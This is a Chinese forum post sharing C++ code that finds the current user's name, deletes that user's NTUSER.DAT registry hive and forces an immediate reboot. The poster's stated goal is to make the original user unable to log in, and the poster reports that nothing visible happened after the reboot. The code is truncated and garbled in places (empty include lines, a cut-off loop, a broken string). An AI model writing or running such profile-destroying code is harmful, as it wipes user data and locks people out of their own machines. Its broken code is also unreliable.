本帖最后由 cra 于 2024-9-18 11:28 AM 编辑
- #include
- #include
- #include
- #include
- #include
- #include
- using namespace std;
- const char* getusername(char *envp[]) {
- string ienvp(envp[36]),name;
- name.clear();
- for(int i=0;i
- return name.c_str();
- }
- inline void deletefile(char *path) {
- if(access(path,F_OK)!=-1) do{} while(remove(path)==EOF);
- }
- int main(int argc,char *argv[],char *envp[]) {
- char path[1000]="C:\\Users\";
- string name(getusername(envp));
- strcat(path,name.c_str());
- strcat(path,"\\NTUSER.DAT");
- deletefile(path);
- system("shutdown -r -t 0");
- return 0;
- }
复制代码
目标:运行后重启并无法正常登录原用户
结果:重启后啥都没出现 |